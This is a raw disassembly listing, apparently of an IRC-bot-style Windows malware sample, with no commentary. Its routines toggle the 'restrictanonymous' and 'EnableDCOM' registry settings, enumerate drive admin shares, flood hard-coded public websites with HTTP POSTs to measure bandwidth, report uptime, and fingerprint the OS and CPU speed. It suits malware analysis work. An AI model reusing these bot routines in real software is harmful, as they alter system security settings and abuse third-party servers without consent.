pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A4F1
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A4D3
push offset dword_43A720
jmp short loc_41A4D8
; ---------------------------------------------------------------------------
loc_41A4D3: ; CODE XREF: sub_41A3C6+104j
push offset dword_43A6EC
loc_41A4D8: ; CODE XREF: sub_41A3C6+10Bj
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A50B
; ---------------------------------------------------------------------------
loc_41A4F1: ; CODE XREF: sub_41A3C6+E2j
push offset dword_43A6B0
jmp short loc_41A4FD
; ---------------------------------------------------------------------------
loc_41A4F8: ; CODE XREF: sub_41A3C6+13j
push offset dword_43A680
loc_41A4FD: ; CODE XREF: sub_41A3C6+130j
lea eax, [ebp+var_214]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A50B: ; CODE XREF: sub_41A3C6+129j
cmp [ebp+arg_C], edi
jnz short loc_41A52A
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A52A: ; CODE XREF: sub_41A3C6+148j
lea eax, [ebp+var_214]
push eax
call sub_415D38
cmp dword_4CBACC, edi
pop ecx
jnz loc_41A6A5
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A54D: ; CODE XREF: sub_41A3C6+2C3j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call dword_4CB918
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A5EA
cmp eax, 0EAh
jz short loc_41A5EA
mov esi, offset off_43A548
loc_41A57E: ; CODE XREF: sub_41A3C6+21Dj
push dword ptr [esi]
push edi
call sub_4191B8
pop ecx
pop ecx
push dword ptr [esi]
test eax, eax
jnz short loc_41A595
push offset dword_43A65C
jmp short loc_41A59A
; ---------------------------------------------------------------------------
loc_41A595: ; CODE XREF: sub_41A3C6+1C6j
push offset dword_43A630
loc_41A59A: ; CODE XREF: sub_41A3C6+1CDj
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A5CD
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A5CD: ; CODE XREF: sub_41A3C6+1EBj
lea eax, [ebp+var_214]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset dword_43A568
jb short loc_41A57E
jmp loc_41A682
; ---------------------------------------------------------------------------
loc_41A5EA: ; CODE XREF: sub_41A3C6+1AAj
; sub_41A3C6+1B1j
mov esi, [ebp+var_8]
push 1
pop ebx
cmp [ebp+var_4], ebx
jb loc_41A679
loc_41A5F9: ; CODE XREF: sub_41A3C6+2AFj
mov edi, [esi]
push edi
call sub_41E0B7
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A66E
push edi
call sub_4190A5
push eax
push 0
call sub_4191B8
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A628
push offset dword_43A60C
jmp short loc_41A62D
; ---------------------------------------------------------------------------
loc_41A628: ; CODE XREF: sub_41A3C6+259j
push offset dword_43A5E0
loc_41A62D: ; CODE XREF: sub_41A3C6+260j
lea eax, [ebp+var_214]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A661
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A661: ; CODE XREF: sub_41A3C6+27Fj
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
loc_41A66E: ; CODE XREF: sub_41A3C6+242j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A5F9
xor edi, edi
loc_41A679: ; CODE XREF: sub_41A3C6+22Dj
push [ebp+var_8]
call dword_4CBA64
loc_41A682: ; CODE XREF: sub_41A3C6+21Fj
cmp [ebp+var_10], 0EAh
jz loc_41A54D
lea eax, [ebp+var_214]
push offset dword_43A5B8
push eax
call sub_41C266
pop ecx
pop ecx
pop ebx
jmp short loc_41A6B8
; ---------------------------------------------------------------------------
loc_41A6A5: ; CODE XREF: sub_41A3C6+177j
lea eax, [ebp+var_214]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A6B8: ; CODE XREF: sub_41A3C6+2DDj
cmp [ebp+arg_C], edi
jnz short loc_41A6D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A6D6: ; CODE XREF: sub_41A3C6+2F5j
lea eax, [ebp+var_214]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop edi
pop esi
leave
retn
sub_41A3C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6EA proc near ; CODE XREF: sub_41A366:loc_41A3ADp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp dword_4CBAA4, ebx
push esi
jnz loc_41A818
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A775
mov ax, word_4392DC
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A757
push offset dword_43A938
jmp short loc_41A75C
; ---------------------------------------------------------------------------
loc_41A757: ; CODE XREF: sub_41A6EA+64j
push offset dword_43A91C
loc_41A75C: ; CODE XREF: sub_41A6EA+6Bj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A788
; ---------------------------------------------------------------------------
loc_41A775: ; CODE XREF: sub_41A6EA+36j
lea eax, [ebp+var_220]
push offset dword_43A770
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A788: ; CODE XREF: sub_41A6EA+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A7A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A7A7: ; CODE XREF: sub_41A6EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4CBA44 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A811
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_4CB9F8 ; RegSetValueExA
test eax, eax
jz short loc_41A7F3
push offset dword_43A8DC
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F3: ; CODE XREF: sub_41A6EA+100j
push offset dword_43A8A4
loc_41A7F8: ; CODE XREF: sub_41A6EA+107j
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB9B0 ; RegCloseKey
jmp short loc_41A82B
; ---------------------------------------------------------------------------
loc_41A811: ; CODE XREF: sub_41A6EA+E2j
push offset dword_43A868
jmp short loc_41A81D
; ---------------------------------------------------------------------------
loc_41A818: ; CODE XREF: sub_41A6EA+13j
push offset dword_43A680
loc_41A81D: ; CODE XREF: sub_41A6EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A82B: ; CODE XREF: sub_41A6EA+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A84A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A84A: ; CODE XREF: sub_41A6EA+144j
lea eax, [ebp+var_220]
push eax
call sub_415D38
cmp dword_4CBACC, ebx
pop ecx
jnz loc_41A9BF
push edi
mov esi, offset off_43A548
mov edi, 200h
loc_41A86E: ; CODE XREF: sub_41A6EA+1E9j
push dword ptr [esi+4]
push dword ptr [esi]
push ebx
call sub_41910C
add esp, 0Ch
push dword ptr [esi]
test eax, eax
jnz short loc_41A889
push offset dword_43A848
jmp short loc_41A88E
; ---------------------------------------------------------------------------
loc_41A889: ; CODE XREF: sub_41A6EA+196j
push offset dword_43A820
loc_41A88E: ; CODE XREF: sub_41A6EA+19Dj
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A8BD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A8BD: ; CODE XREF: sub_41A6EA+1B7j
lea eax, [ebp+var_220]
push eax
call sub_415D38
add esi, 8
pop ecx
cmp esi, offset off_43A558
jb short loc_41A86E
call dword_427198 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A9A7
loc_41A8E8: ; CODE XREF: sub_41A6EA+2B7j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A99C
cmp bl, 41h
jz loc_41A99C
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push esi
push offset aC_1 ; "%c:\\"
push 0Ah
push eax
call sub_41C360
add esp, 10h
lea eax, [ebp+var_20]
push eax
call dword_4CBA34 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41A99C
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_41910C
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
jnz short loc_41A95A
push offset dword_43A848
jmp short loc_41A95F
; ---------------------------------------------------------------------------
loc_41A95A: ; CODE XREF: sub_41A6EA+267j
push offset dword_43A820
loc_41A95F: ; CODE XREF: sub_41A6EA+26Ej
lea eax, [ebp+var_220]
push edi
push eax
call sub_41C360
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A98F
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A98F: ; CODE XREF: sub_41A6EA+289j
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
loc_41A99C: ; CODE XREF: sub_41A6EA+206j
; sub_41A6EA+20Fj ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A8E8
loc_41A9A7: ; CODE XREF: sub_41A6EA+1F8j
lea eax, [ebp+var_220]
push offset dword_43A7F0
push eax
call sub_41C266
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A9D2
; ---------------------------------------------------------------------------
loc_41A9BF: ; CODE XREF: sub_41A6EA+173j
lea eax, [ebp+var_220]
push offset dword_43A588
push eax
call sub_41C266
pop ecx
pop ecx
loc_41A9D2: ; CODE XREF: sub_41A6EA+2D3j
cmp [ebp+arg_C], ebx
jnz short loc_41A9F0
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 14h
loc_41A9F0: ; CODE XREF: sub_41A6EA+2EBj
lea eax, [ebp+var_220]
push eax
call sub_415D38
pop ecx
push 1
pop eax
pop esi
pop ebx
leave
retn
sub_41A6EA endp
; =============== S U B R O U T I N E =======================================
sub_41AA04 proc near ; CODE XREF: sub_41ABFB+CBp
; sub_41ABFB+DDp ...
arg_0 = dword ptr 4
call dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41AA04 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA1E proc near ; CODE XREF: sub_41ABFB+D4p
; sub_41ABFB+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41ABF7
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41BF70
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A8F0
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41ABF7
push 50h
call dword_4CB9D4 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call dword_4CBA54 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41ABF7
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jz loc_41ABF7
push 32003h
call sub_41D9A5
mov edi, dword_4270B0
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41C2B8
call sub_41C2C2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41BF70
push 32000h
push esi
push ebx
call sub_41BF70
push ebx
call sub_41B9C0
push 323EAh
mov ebx, eax
call sub_41D9A5
add esp, 20h
mov esi, eax
push ebx
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41C266
push [ebp+var_8]
push esi
call sub_41C8A0
push offset asc_4349EC ; "\r\n"
push esi
call sub_41C8A0
push esi
call sub_41B9C0
mov ebx, eax
add esp, 24h
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41AB77
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41AB47
; ---------------------------------------------------------------------------
loc_41AB44: ; CODE XREF: sub_41AA1E+157j
mov eax, [ebp+arg_0]
loc_41AB47: ; CODE XREF: sub_41AA1E+124j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
cmp ecx, ebx
jnb short loc_41AB57
push [ebp+var_C]
jmp short loc_41AB58
; ---------------------------------------------------------------------------
loc_41AB57: ; CODE XREF: sub_41AA1E+132j
push ebx
loc_41AB58: ; CODE XREF: sub_41AA1E+137j
add eax, esi
push eax
push [ebp+var_4]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41ABDE
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41AB44
loc_41AB77: ; CODE XREF: sub_41AA1E+11Aj
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul flt_4276F4
fst [ebp+arg_0]
fcomp flt_4276F0
fnstsw ax
sahf
jnz short loc_41AB9F
fld1
fstp [ebp+arg_0]
loc_41AB9F: ; CODE XREF: sub_41AA1E+17Aj
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul flt_4276EC
fmul flt_4276E8
call sub_41D174
loc_41ABD9: ; CODE XREF: sub_41AA1E+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41ABDE: ; CODE XREF: sub_41AA1E+149j
push [ebp+var_4]
call dword_4CBA6C ; closesocket
push [ebp+var_8]
call sub_41BA91
push esi
call sub_41BA91
pop ecx
pop ecx
loc_41ABF7: ; CODE XREF: sub_41AA1E+19j
; sub_41AA1E+42j ...
xor eax, eax
jmp short loc_41ABD9
sub_41AA1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ABFB proc near ; CODE XREF: sub_401ACD+2E1Ep
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
push 8
mov esi, eax
call sub_41AA04
push [ebp+eax*4+var_3C]
call sub_41AA1E
add esp, 10h
test esi, esi
jz short loc_41ACFC
test eax, eax
jz short loc_41ACF8
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACF8: ; CODE XREF: sub_41ABFB+F4j
mov ebx, esi
jmp short loc_41ACFE
; ---------------------------------------------------------------------------
loc_41ACFC: ; CODE XREF: sub_41ABFB+F0j
mov ebx, eax
loc_41ACFE: ; CODE XREF: sub_41ABFB+FBj
; sub_41ABFB+FFj
push 0Ch
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
push 0Ch
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_6C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD36
test eax, eax
jz short loc_41AD32
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD32: ; CODE XREF: sub_41ABFB+12Ej
mov esi, edi
jmp short loc_41AD38
; ---------------------------------------------------------------------------
loc_41AD36: ; CODE XREF: sub_41ABFB+12Aj
mov esi, eax
loc_41AD38: ; CODE XREF: sub_41ABFB+135j
; sub_41ABFB+139j
push 6
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
push 6
mov edi, eax
call sub_41AA04
push [ebp+eax*4+var_1C]
call sub_41AA1E
add esp, 10h
test edi, edi
jz short loc_41AD70
test eax, eax
jz short loc_41AD6C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD6C: ; CODE XREF: sub_41ABFB+168j
mov ecx, edi
jmp short loc_41AD72
; ---------------------------------------------------------------------------
loc_41AD70: ; CODE XREF: sub_41ABFB+164j
mov ecx, eax
loc_41AD72: ; CODE XREF: sub_41ABFB+16Fj
; sub_41ABFB+173j
xor eax, eax
test ebx, ebx
jz short loc_41AD7F
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_41AD82
; ---------------------------------------------------------------------------
loc_41AD7F: ; CODE XREF: sub_41ABFB+17Bj
push 2
pop edi
loc_41AD82: ; CODE XREF: sub_41ABFB+182j
test esi, esi
jz short loc_41AD8A
add eax, esi
jmp short loc_41AD8B
; ---------------------------------------------------------------------------
loc_41AD8A: ; CODE XREF: sub_41ABFB+189j
dec edi
loc_41AD8B: ; CODE XREF: sub_41ABFB+18Dj
test ecx, ecx
jz short loc_41AD93
add eax, ecx
jmp short loc_41AD94
; ---------------------------------------------------------------------------
loc_41AD93: ; CODE XREF: sub_41ABFB+192j
dec edi
loc_41AD94: ; CODE XREF: sub_41ABFB+196j
xor edx, edx
div edi
push eax
push ecx
push esi
push ebx
lea eax, [ebp+var_26C]
push offset dword_43A990
push eax
call sub_41C266
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_26C]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call dword_4270B0 ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DBC90
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call dword_4270D0 ; GetVersionExA
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call dword_427080 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DCB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call sub_41DD20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
